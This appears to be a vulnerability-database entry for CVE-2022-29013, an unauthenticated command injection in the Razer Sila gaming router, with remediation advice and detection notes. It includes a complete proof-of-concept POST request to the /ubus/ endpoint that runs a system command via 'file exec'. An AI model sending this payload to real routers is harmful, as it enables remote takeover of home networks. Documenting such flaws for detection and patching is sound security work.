🔙 목록으로 돌아가기

CVE-2022-29013: Razer Sila Gaming Router - Remote Code Execution

TitleRazer Sila Gaming Router - Remote Code Execution
AuthorDhiyaneshDK
SeverityCritical
ImpactUnauthenticated attackers can execute arbitrary system commands on the Razer Sila gaming router through command injection in the ubus endpoint, potentially compromising the entire home network and intercepting all network traffic.
RemediationUpgrade to a patched version of Razer Sila firmware that properly sanitizes command parameters and validates input to the ubus API.
CVSS Score9.8
EPSS Score0.92694
CVE IDCVE-2022-29013
CWE IDCWE-78
Tags packetstorm cve cve2022 razer sila router vkev vuln

🔍 Vulnerability Description

A command injection in the command parameter of Razer Sila Gaming Router v2.0.441_api-2.0.418 allows attackers to execute arbitrary commands via a crafted POST request.

🌐 HTTP Request

POST /ubus/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Content-Length: 119
Accept: */*
Accept-Language: en
Origin: /
Referer: /
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

{"jsonrpc":"2.0","id":3,"method":"call","params":["30ebdc7dd1f519beb4b2175e9dd8463e","file","exec",{"command":"id"}]}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-29013.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-29013.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A